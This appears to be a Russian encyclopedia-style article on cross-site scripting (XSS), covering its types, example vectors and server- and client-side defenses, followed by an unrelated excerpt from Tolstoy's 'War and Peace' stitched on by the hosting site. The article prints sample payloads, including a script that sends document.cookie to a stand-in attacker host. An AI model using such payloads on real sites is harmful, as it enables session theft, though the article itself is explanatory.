Межсайтовый скриптинг

Поделись знанием:
Перейти к: навигация, поиск

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «внедрение кода».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя[1].

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».

XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений согласно OWASP 2013[2]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атаки[3].





Справочная информация

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена. Это правило разрешает сценариям, находящимся на страницах одного сайта (mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (othersite.example.com)[4].

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен javascript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к javascript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности.[5]

XSS уязвимости зарегистрированы и используются с середины 1990-x годов[6]. Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter[7], ВКонтакте[8], MySpace[9], YouTube[10], Facebook[11] и др.

Классификация

Не существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различают по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).

По вектору[12]

Отражённые (Непостоянные)

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой.[13] Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки[14]. Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Пример:

example.com/search.php?q=<script>DoSomething();</script>

Если сайт не экранирует угловые скобки, преобразуя их в «&lt;» и «&gt;», получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим к вектору XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (Постоянные)

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID):

<script>
document.location="attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>

DOM-модели

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример:

<body>
<script>document.write(location.href);</script>
</body>

Пример DOM-модели XSS — баг, найденный в 2011 году в нескольких JQuery плагинах[15]. Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки[16]. Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например AngularJS[17].

По каналам внедрения скрипта[18]

Ошибки в браузере

Когда из-за ошибки в браузере исправляют сайт

Bugzilla, 2004 год.[19] В некоторых браузерах (по крайней мере, Internet Explorer) при задании URL’а

bugzilla.mozilla.org/enter_bug.cgi?
  <script>alert('foo');</script>

не происходит URL-кодирования, и код

document.write(
   "<p>URL: " + document.location + "</p>");

внедрит в страницу скрипт.

Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML

Экранировать нужно все пользовательские тексты

phpBB, 2002 год[20][21]. Хотя URL картинок проверяется на протокол (разрешён только http:), сам URL никак не экранируется, и строкой наподобие

[img]a.a/a"onerror="
   javascript:alert(document.cookie)[/img]

можно протащить в документ пользовательский скрипт.

Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: '"&<>. Сервер может экранировать не все символы (известный недостаток PHP[22]), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие example.com/img.png" onmouseover="javascript:DoSomething();.

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений[23]. Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах

Типичным примером будет ссылка <a href="javascript:DoSomething()">. Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript: и data:.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ". Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной.[24]

Через внедрение SQL-кода

Если сайт и допускает внедрение SQL-кода, и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код,[25] то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.

Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт.

По способу воздействия[26]

Активные

Активная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.

Пример:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а так же у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.

Пассивные (Автономные)

Пассивная XSS атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).

Пример:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.

Средства защиты[1]

Защита на стороне сервера

  • Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL)[27], htmlentities (для фильтрации HTML)[28].
  • Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project[29], HTML Purifier, htmLawed, Anti-XSS Class.
  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
  • Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей[30].
  • Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly[31], использованием SSL[32].
  • Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента

  • Регулярное обновление браузера до новой версии[18].
  • Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.

См. также

Напишите отзыв о статье "Межсайтовый скриптинг"

Примечания

  1. 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika [www.exploit-db.com/wp-content/themes/exploit/docs/24559.pdf Post XSS Exploitation: Advanced Attacks and Remedies] (англ.). — P. 9.
  2. [www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013 OWASP Top 10 for 2013] (англ.). The Open Web Application Security Project (OWASP). Проверено 26 декабря 2014.
  3. Seth Fogie, Jeremiah Grossman, 2007, p. 290, 379.
  4. [www.w3.org/Security/wiki/Same_Origin_Policy Same Origin Policy] (англ.). W3C. Проверено 18 декабря 2014.
  5. Grossman, Jeremiah. [jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html The origins of Cross-Site Scripting (XSS)]. (англ.)
  6. Seth Fogie, Jeremiah Grossman, 2007, p. 3.
  7. Mirkov, Denis. [xakep.ru/53355/ Twitter заразили вирусом]. Хакер (21 сентября 2010). Проверено 18 декабря 2014.
  8. Mirkov, Denis. [xakep.ru/55008/ XSS-уязвимости ВКонтакте]. Хакер (10 марта 2011). Проверено 18 декабря 2014.
  9. Mirkov, Denis. [xakep.ru/34102/ Сайт Sla.ckers.org открыл подборку XSS уязвимостей]. Хакер (25 сентября 2006). Проверено 18 декабря 2014.
  10. Mirkov, Denis. [xakep.ru/44573/ Множественные уязвимости в YouTube Blog]. Хакер (23 июля 2008). Проверено 18 декабря 2014.
  11. Mirkov, Denis. [xakep.ru/43751/ На Facebook обнаружена XSS-уязвимость]. Хакер (26 мая 2008). Проверено 18 декабря 2014.
  12. Тюрин, Алексей [habrahabr.ru/company/xakep/blog/189210/ В поисках лазеек: гид по DOM Based XSS] // Хакер : Журнал. — 2013. — № 172. — С. 80-85.
  13. Paco Hope, Ben Walther, 2008, p. 128.
  14. [projects.webappsec.org/Cross-Site-Scripting Cross-site Scripting] (англ.). Web Application Security Consortium (2005). Проверено 18 декабря 2014.
  15. [bugs.jquery.com/ticket/9521 JQuery bug #9521] (англ.). JQuery. Проверено 18 декабря 2014.
  16. [www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM based XSS prevention cheat sheet] (англ.). The Open Web Application Security Project (OWASP). Проверено 18 декабря 2014.
  17. [docs.angularjs.org/api/ng.$sce Strict Contextual Escaping] (англ.). AngularJS. Проверено 18 декабря 2014.
  18. 1 2 [www.owasp.org/index.php/Cross-site_Scripting_(XSS) Cross-site Scripting (XSS)] (англ.). The Open Web Application Security Project (OWASP). Проверено 18 декабря 2014.
  19. [bugzilla.mozilla.org/show_bug.cgi?id=272620 Bug 272620 - XSS vulnerability in internal error messages] (англ.). Bugzilla@Mozilla. Проверено 18 декабря 2014.
  20. US-CERT/NIST [web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0902 Vulnerability Summary for CVE-2002-0902] (англ.) : сайт. — 2008.
  21. Boerwinkel, Martijn. [seclists.org/bugtraq/2002/May/243 Cross Site Scripting Vulnerability in phpBB2's IMG tag and remote avatar] (англ.). seclists.org (26 мая 2002). Проверено 18 декабря 2014.
  22. Стандартная функция PHP [php.su/functions/?htmlspecialchars htmlspecialchars] по умолчанию не экранирует апостроф, и в сочетании с кодом "<a href='$htUrl'>" получается уязвимость.
  23. [dayte2.com/bbcode-function Простой парсинг BBcode на php]. Веб-разработка. Проверено 18 декабря 2014.
  24. [html.spec.whatwg.org/multipage/semantics.html#charset The elements of HTML — HTML Standard] (англ.). Web Hypertext Application Technology Working Group (WHATWG). Проверено 18 декабря 2014.
  25. Например, движок MediaWiki кэширует HTML-код страниц.
  26. Kochetkov, Vladimir. [www.securitylab.ru/analytics/428199.php Вся правда об XSS или Почему межсайтовое выполнение сценариев не является уязвимостью?]. SecurityLab (8 августа 2012). Проверено 18 декабря 2014.
  27. [php.net/manual/ru/filter.filters.sanitize.php Очищающие фильтры]. PHP. Проверено 18 декабря 2014.
  28. [php.net/manual/ru/function.htmlentities.php PHP:htmlentities] (англ.). PHP. Проверено 18 декабря 2014.
  29. [www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]. The Open Web Application Security Project (OWASP). Проверено 18 декабря 2014.
  30. Сноу, Джон [xakep.ru/53553/ Маскарад символов: unicode-ориентированные аспекты безопасности] // Хакер : сайт. — 2010.
  31. [www.owasp.org/index.php/HttpOnly HttpOnly] (англ.). The Open Web Application Security Project (OWASP). Проверено 18 декабря 2014.
  32. Hafner, Robert [blog.teamtreehouse.com/how-to-create-totally-secure-cookies How to create totally secure cookies] (англ.) : сайт. — 2009.

Литература

  • Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov. XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543.
  • Paco Hope, Ben Walther. Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9.

Ссылки

  • [www.cgisecurity.com/xss-faq.html XSS FAQ] (англ.)
  • [www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet XSS шпаргалка] (англ.)
  • [html5sec.org/ HTML5 Security Cheatsheet]
  • [xss-game.appspot.com/ XSS-game от Google] (англ.)
  • [www.virtualforge.com/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf Флэш-анимация о Cross-Site Scripting Attack] (англ.)


Отрывок, характеризующий Межсайтовый скриптинг

– Вы ее знаете? – спросил Пьер.
– Я видела княжну, – отвечала она. – Я слышала, что ее сватали за молодого Ростова. Это было бы очень хорошо для Ростовых; говорят, они совсем разорились.
– Нет, Ростову вы знаете?
– Слышала тогда только про эту историю. Очень жалко.
«Нет, она не понимает или притворяется, – подумал Пьер. – Лучше тоже не говорить ей».
Княжна также приготавливала провизию на дорогу Пьеру.
«Как они добры все, – думал Пьер, – что они теперь, когда уж наверное им это не может быть более интересно, занимаются всем этим. И все для меня; вот что удивительно».
В этот же день к Пьеру приехал полицеймейстер с предложением прислать доверенного в Грановитую палату для приема вещей, раздаваемых нынче владельцам.
«Вот и этот тоже, – думал Пьер, глядя в лицо полицеймейстера, – какой славный, красивый офицер и как добр! Теперь занимается такими пустяками. А еще говорят, что он не честен и пользуется. Какой вздор! А впрочем, отчего же ему и не пользоваться? Он так и воспитан. И все так делают. А такое приятное, доброе лицо, и улыбается, глядя на меня».
Пьер поехал обедать к княжне Марье.
Проезжая по улицам между пожарищами домов, он удивлялся красоте этих развалин. Печные трубы домов, отвалившиеся стены, живописно напоминая Рейн и Колизей, тянулись, скрывая друг друга, по обгорелым кварталам. Встречавшиеся извозчики и ездоки, плотники, рубившие срубы, торговки и лавочники, все с веселыми, сияющими лицами, взглядывали на Пьера и говорили как будто: «А, вот он! Посмотрим, что выйдет из этого».
При входе в дом княжны Марьи на Пьера нашло сомнение в справедливости того, что он был здесь вчера, виделся с Наташей и говорил с ней. «Может быть, это я выдумал. Может быть, я войду и никого не увижу». Но не успел он вступить в комнату, как уже во всем существе своем, по мгновенному лишению своей свободы, он почувствовал ее присутствие. Она была в том же черном платье с мягкими складками и так же причесана, как и вчера, но она была совсем другая. Если б она была такою вчера, когда он вошел в комнату, он бы не мог ни на мгновение не узнать ее.
Она была такою же, какою он знал ее почти ребенком и потом невестой князя Андрея. Веселый вопросительный блеск светился в ее глазах; на лице было ласковое и странно шаловливое выражение.
Пьер обедал и просидел бы весь вечер; но княжна Марья ехала ко всенощной, и Пьер уехал с ними вместе.
На другой день Пьер приехал рано, обедал и просидел весь вечер. Несмотря на то, что княжна Марья и Наташа были очевидно рады гостю; несмотря на то, что весь интерес жизни Пьера сосредоточивался теперь в этом доме, к вечеру они всё переговорили, и разговор переходил беспрестанно с одного ничтожного предмета на другой и часто прерывался. Пьер засиделся в этот вечер так поздно, что княжна Марья и Наташа переглядывались между собою, очевидно ожидая, скоро ли он уйдет. Пьер видел это и не мог уйти. Ему становилось тяжело, неловко, но он все сидел, потому что не мог подняться и уйти.
Княжна Марья, не предвидя этому конца, первая встала и, жалуясь на мигрень, стала прощаться.
– Так вы завтра едете в Петербург? – сказала ока.
– Нет, я не еду, – с удивлением и как будто обидясь, поспешно сказал Пьер. – Да нет, в Петербург? Завтра; только я не прощаюсь. Я заеду за комиссиями, – сказал он, стоя перед княжной Марьей, краснея и не уходя.
Наташа подала ему руку и вышла. Княжна Марья, напротив, вместо того чтобы уйти, опустилась в кресло и своим лучистым, глубоким взглядом строго и внимательно посмотрела на Пьера. Усталость, которую она очевидно выказывала перед этим, теперь совсем прошла. Она тяжело и продолжительно вздохнула, как будто приготавливаясь к длинному разговору.
Все смущение и неловкость Пьера, при удалении Наташи, мгновенно исчезли и заменились взволнованным оживлением. Он быстро придвинул кресло совсем близко к княжне Марье.
– Да, я и хотел сказать вам, – сказал он, отвечая, как на слова, на ее взгляд. – Княжна, помогите мне. Что мне делать? Могу я надеяться? Княжна, друг мой, выслушайте меня. Я все знаю. Я знаю, что я не стою ее; я знаю, что теперь невозможно говорить об этом. Но я хочу быть братом ей. Нет, я не хочу.. я не могу…
Он остановился и потер себе лицо и глаза руками.
– Ну, вот, – продолжал он, видимо сделав усилие над собой, чтобы говорить связно. – Я не знаю, с каких пор я люблю ее. Но я одну только ее, одну любил во всю мою жизнь и люблю так, что без нее не могу себе представить жизни. Просить руки ее теперь я не решаюсь; но мысль о том, что, может быть, она могла бы быть моею и что я упущу эту возможность… возможность… ужасна. Скажите, могу я надеяться? Скажите, что мне делать? Милая княжна, – сказал он, помолчав немного и тронув ее за руку, так как она не отвечала.
– Я думаю о том, что вы мне сказали, – отвечала княжна Марья. – Вот что я скажу вам. Вы правы, что теперь говорить ей об любви… – Княжна остановилась. Она хотела сказать: говорить ей о любви теперь невозможно; но она остановилась, потому что она третий день видела по вдруг переменившейся Наташе, что не только Наташа не оскорбилась бы, если б ей Пьер высказал свою любовь, но что она одного только этого и желала.
– Говорить ей теперь… нельзя, – все таки сказала княжна Марья.
– Но что же мне делать?
– Поручите это мне, – сказала княжна Марья. – Я знаю…
Пьер смотрел в глаза княжне Марье.
– Ну, ну… – говорил он.
– Я знаю, что она любит… полюбит вас, – поправилась княжна Марья.
Не успела она сказать эти слова, как Пьер вскочил и с испуганным лицом схватил за руку княжну Марью.
– Отчего вы думаете? Вы думаете, что я могу надеяться? Вы думаете?!
– Да, думаю, – улыбаясь, сказала княжна Марья. – Напишите родителям. И поручите мне. Я скажу ей, когда будет можно. Я желаю этого. И сердце мое чувствует, что это будет.
– Нет, это не может быть! Как я счастлив! Но это не может быть… Как я счастлив! Нет, не может быть! – говорил Пьер, целуя руки княжны Марьи.
– Вы поезжайте в Петербург; это лучше. А я напишу вам, – сказала она.
– В Петербург? Ехать? Хорошо, да, ехать. Но завтра я могу приехать к вам?
На другой день Пьер приехал проститься. Наташа была менее оживлена, чем в прежние дни; но в этот день, иногда взглянув ей в глаза, Пьер чувствовал, что он исчезает, что ни его, ни ее нет больше, а есть одно чувство счастья. «Неужели? Нет, не может быть», – говорил он себе при каждом ее взгляде, жесте, слове, наполнявших его душу радостью.
Когда он, прощаясь с нею, взял ее тонкую, худую руку, он невольно несколько дольше удержал ее в своей.
«Неужели эта рука, это лицо, эти глаза, все это чуждое мне сокровище женской прелести, неужели это все будет вечно мое, привычное, такое же, каким я сам для себя? Нет, это невозможно!..»
– Прощайте, граф, – сказала она ему громко. – Я очень буду ждать вас, – прибавила она шепотом.
И эти простые слова, взгляд и выражение лица, сопровождавшие их, в продолжение двух месяцев составляли предмет неистощимых воспоминаний, объяснений и счастливых мечтаний Пьера. «Я очень буду ждать вас… Да, да, как она сказала? Да, я очень буду ждать вас. Ах, как я счастлив! Что ж это такое, как я счастлив!» – говорил себе Пьер.


В душе Пьера теперь не происходило ничего подобного тому, что происходило в ней в подобных же обстоятельствах во время его сватовства с Элен.
Он не повторял, как тогда, с болезненным стыдом слов, сказанных им, не говорил себе: «Ах, зачем я не сказал этого, и зачем, зачем я сказал тогда „je vous aime“?» [я люблю вас] Теперь, напротив, каждое слово ее, свое он повторял в своем воображении со всеми подробностями лица, улыбки и ничего не хотел ни убавить, ни прибавить: хотел только повторять. Сомнений в том, хорошо ли, или дурно то, что он предпринял, – теперь не было и тени. Одно только страшное сомнение иногда приходило ему в голову. Не во сне ли все это? Не ошиблась ли княжна Марья? Не слишком ли я горд и самонадеян? Я верю; а вдруг, что и должно случиться, княжна Марья скажет ей, а она улыбнется и ответит: «Как странно! Он, верно, ошибся. Разве он не знает, что он человек, просто человек, а я?.. Я совсем другое, высшее».
Только это сомнение часто приходило Пьеру. Планов он тоже не делал теперь никаких. Ему казалось так невероятно предстоящее счастье, что стоило этому совершиться, и уж дальше ничего не могло быть. Все кончалось.
Радостное, неожиданное сумасшествие, к которому Пьер считал себя неспособным, овладело им. Весь смысл жизни, не для него одного, но для всего мира, казался ему заключающимся только в его любви и в возможности ее любви к нему. Иногда все люди казались ему занятыми только одним – его будущим счастьем. Ему казалось иногда, что все они радуются так же, как и он сам, и только стараются скрыть эту радость, притворяясь занятыми другими интересами. В каждом слове и движении он видел намеки на свое счастие. Он часто удивлял людей, встречавшихся с ним, своими значительными, выражавшими тайное согласие, счастливыми взглядами и улыбками. Но когда он понимал, что люди могли не знать про его счастье, он от всей души жалел их и испытывал желание как нибудь объяснить им, что все то, чем они заняты, есть совершенный вздор и пустяки, не стоящие внимания.
Когда ему предлагали служить или когда обсуждали какие нибудь общие, государственные дела и войну, предполагая, что от такого или такого исхода такого то события зависит счастие всех людей, он слушал с кроткой соболезнующею улыбкой и удивлял говоривших с ним людей своими странными замечаниями. Но как те люди, которые казались Пьеру понимающими настоящий смысл жизни, то есть его чувство, так и те несчастные, которые, очевидно, не понимали этого, – все люди в этот период времени представлялись ему в таком ярком свете сиявшего в нем чувства, что без малейшего усилия, он сразу, встречаясь с каким бы то ни было человеком, видел в нем все, что было хорошего и достойного любви.
Рассматривая дела и бумаги своей покойной жены, он к ее памяти не испытывал никакого чувства, кроме жалости в том, что она не знала того счастья, которое он знал теперь. Князь Василий, особенно гордый теперь получением нового места и звезды, представлялся ему трогательным, добрым и жалким стариком.
Пьер часто потом вспоминал это время счастливого безумия. Все суждения, которые он составил себе о людях и обстоятельствах за этот период времени, остались для него навсегда верными. Он не только не отрекался впоследствии от этих взглядов на людей и вещи, но, напротив, в внутренних сомнениях и противуречиях прибегал к тому взгляду, который он имел в это время безумия, и взгляд этот всегда оказывался верен.
«Может быть, – думал он, – я и казался тогда странен и смешон; но я тогда не был так безумен, как казалось. Напротив, я был тогда умнее и проницательнее, чем когда либо, и понимал все, что стоит понимать в жизни, потому что… я был счастлив».
Безумие Пьера состояло в том, что он не дожидался, как прежде, личных причин, которые он называл достоинствами людей, для того чтобы любить их, а любовь переполняла его сердце, и он, беспричинно любя людей, находил несомненные причины, за которые стоило любить их.


С первого того вечера, когда Наташа, после отъезда Пьера, с радостно насмешливой улыбкой сказала княжне Марье, что он точно, ну точно из бани, и сюртучок, и стриженый, с этой минуты что то скрытое и самой ей неизвестное, но непреодолимое проснулось в душе Наташи.
Все: лицо, походка, взгляд, голос – все вдруг изменилось в ней. Неожиданные для нее самой – сила жизни, надежды на счастье всплыли наружу и требовали удовлетворения. С первого вечера Наташа как будто забыла все то, что с ней было. Она с тех пор ни разу не пожаловалась на свое положение, ни одного слова не сказала о прошедшем и не боялась уже делать веселые планы на будущее. Она мало говорила о Пьере, но когда княжна Марья упоминала о нем, давно потухший блеск зажигался в ее глазах и губы морщились странной улыбкой.
Перемена, происшедшая в Наташе, сначала удивила княжну Марью; но когда она поняла ее значение, то перемена эта огорчила ее. «Неужели она так мало любила брата, что так скоро могла забыть его», – думала княжна Марья, когда она одна обдумывала происшедшую перемену. Но когда она была с Наташей, то не сердилась на нее и не упрекала ее. Проснувшаяся сила жизни, охватившая Наташу, была, очевидно, так неудержима, так неожиданна для нее самой, что княжна Марья в присутствии Наташи чувствовала, что она не имела права упрекать ее даже в душе своей.
Наташа с такой полнотой и искренностью вся отдалась новому чувству, что и не пыталась скрывать, что ей было теперь не горестно, а радостно и весело.
Когда, после ночного объяснения с Пьером, княжна Марья вернулась в свою комнату, Наташа встретила ее на пороге.
– Он сказал? Да? Он сказал? – повторила она. И радостное и вместе жалкое, просящее прощения за свою радость, выражение остановилось на лице Наташи.
– Я хотела слушать у двери; но я знала, что ты скажешь мне.
Как ни понятен, как ни трогателен был для княжны Марьи тот взгляд, которым смотрела на нее Наташа; как ни жалко ей было видеть ее волнение; но слова Наташи в первую минуту оскорбили княжну Марью. Она вспомнила о брате, о его любви.
«Но что же делать! она не может иначе», – подумала княжна Марья; и с грустным и несколько строгим лицом передала она Наташе все, что сказал ей Пьер. Услыхав, что он собирается в Петербург, Наташа изумилась.
– В Петербург? – повторила она, как бы не понимая. Но, вглядевшись в грустное выражение лица княжны Марьи, она догадалась о причине ее грусти и вдруг заплакала. – Мари, – сказала она, – научи, что мне делать. Я боюсь быть дурной. Что ты скажешь, то я буду делать; научи меня…
– Ты любишь его?
– Да, – прошептала Наташа.
– О чем же ты плачешь? Я счастлива за тебя, – сказала княжна Марья, за эти слезы простив уже совершенно радость Наташи.
– Это будет не скоро, когда нибудь. Ты подумай, какое счастие, когда я буду его женой, а ты выйдешь за Nicolas.
– Наташа, я тебя просила не говорить об этом. Будем говорить о тебе.
Они помолчали.
– Только для чего же в Петербург! – вдруг сказала Наташа, и сама же поспешно ответила себе: – Нет, нет, это так надо… Да, Мари? Так надо…


Прошло семь лет после 12 го года. Взволнованное историческое море Европы улеглось в свои берега. Оно казалось затихшим; но таинственные силы, двигающие человечество (таинственные потому, что законы, определяющие их движение, неизвестны нам), продолжали свое действие.
Несмотря на то, что поверхность исторического моря казалась неподвижною, так же непрерывно, как движение времени, двигалось человечество. Слагались, разлагались различные группы людских сцеплений; подготовлялись причины образования и разложения государств, перемещений народов.
Историческое море, не как прежде, направлялось порывами от одного берега к другому: оно бурлило в глубине. Исторические лица, не как прежде, носились волнами от одного берега к другому; теперь они, казалось, кружились на одном месте. Исторические лица, прежде во главе войск отражавшие приказаниями войн, походов, сражений движение масс, теперь отражали бурлившее движение политическими и дипломатическими соображениями, законами, трактатами…
Эту деятельность исторических лиц историки называют реакцией.
Описывая деятельность этих исторических лиц, бывших, по их мнению, причиною того, что они называют реакцией, историки строго осуждают их. Все известные люди того времени, от Александра и Наполеона до m me Stael, Фотия, Шеллинга, Фихте, Шатобриана и проч., проходят перед их строгим судом и оправдываются или осуждаются, смотря по тому, содействовали ли они прогрессу или реакции.
В России, по их описанию, в этот период времени тоже происходила реакция, и главным виновником этой реакции был Александр I – тот самый Александр I, который, по их же описаниям, был главным виновником либеральных начинаний своего царствования и спасения России.
В настоящей русской литературе, от гимназиста до ученого историка, нет человека, который не бросил бы своего камушка в Александра I за неправильные поступки его в этот период царствования.
«Он должен был поступить так то и так то. В таком случае он поступил хорошо, в таком дурно. Он прекрасно вел себя в начале царствования и во время 12 го года; но он поступил дурно, дав конституцию Польше, сделав Священный Союз, дав власть Аракчееву, поощряя Голицына и мистицизм, потом поощряя Шишкова и Фотия. Он сделал дурно, занимаясь фронтовой частью армии; он поступил дурно, раскассировав Семеновский полк, и т. д.».
Надо бы исписать десять листов для того, чтобы перечислить все те упреки, которые делают ему историки на основании того знания блага человечества, которым они обладают.
Что значат эти упреки?
